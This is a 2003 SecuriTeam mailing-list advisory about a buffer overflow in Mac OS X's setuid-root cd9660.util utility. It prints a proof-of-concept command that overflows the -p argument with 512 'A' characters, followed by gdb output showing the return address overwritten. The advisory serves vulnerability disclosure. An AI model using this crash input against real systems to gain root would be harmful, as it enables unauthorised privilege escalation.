[NEWS] Buffer Overflow Allows Privileges Escalation in MacOS X

From: SecuriTeam (support_at_securiteam.com)
Date: 12/18/03

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Date: 18 Dec 2003 17:21:20 +0200

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      Buffer Overflow Allows Privileges Escalation in MacOS X
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    SUMMARY

    Some parts of MacOS X that did not come from BSD, as such, they contain
    significant security issues, and an example of this is the
    /System/Library/Filesystems/cd9660.fs/cd9660.util utility. This utility is
    suid root and is vulnerable to a classic buffer overflow due to the lack
    of input validation.

    DETAILS

    Demonstration:
    sdsx:/System/Library/Filesystems/cd9660.fs max$ ls -la cd9660.util
    -rwsr-xr-x 1 root wheel 20476 23 Sep 23:53 cd9660.util

    sdsx:/System/Library/Filesystems/cd9660.fs max$ ./cd9660.util -p `perl -e
    "print 'A'x512"` Segmentation fault

    sdsx:/System/Library/Filesystems/cd9660.fs root# gdb -core
    /cores/core.1405 ./cd9660.util [gdb banner here]
    Reading symbols for shared libraries .... done
    Core was generated by `./cd9660.util'. #0 0x9000d360 in strcat ()
    (gdb) where
    #0 0x9000d360 in strcat ()
    #1 0x00002b84 in main ()
    #2 0x41414141 in ?? ()

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:rusmir@tula.net> Max.

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